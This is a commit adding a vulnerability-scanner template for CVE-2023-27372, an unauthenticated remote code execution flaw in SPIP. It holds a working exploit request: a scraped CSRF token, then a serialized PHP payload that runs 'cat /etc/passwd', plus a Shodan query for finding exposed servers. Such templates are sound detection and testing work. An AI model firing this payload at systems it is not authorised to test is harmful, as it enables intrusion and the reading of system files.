Create CVE-2023-27372.yaml

http/cves/2023/CVE-2023-27372.yaml

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+id: CVE-2023-27372
+
+info:
+  name: SPIP - Remote Command Execution
+  author: DhiyaneshDK
+  severity: critical
+  description: |
+    SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
+  reference:
+    - https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-27372
+    - https://github.com/nuts7/CVE-2023-27372
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2023-27372
+  metadata:
+    max-request: 1
+    shodan-query: html:"spip.php?page=backend"
+    verified: "true"
+  tags: cve,cve2023,spip,rce
+
+http:
+  - raw:
+      - |
+        GET /spip.php?page=spip_pass HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /spip.php?page=spip_pass HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s%3A35%3A%22%3C%3Fphp+system%28%27cat+%2Fetc%2Fpasswd%27%29%3B+%3F%3E%22%3B
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body_2
+        regex:
+          - "root:.*:0:0:"
+
+      - type: word
+        part: header_2
+        words:
+          - text/html
+
+    extractors:
+      - type: regex
+        name: csrf
+        group: 1
+        internal: true
+        part: body_1
+        regex:
+          - "name='formulaire_action_args'[^>]*value='([^']*)'"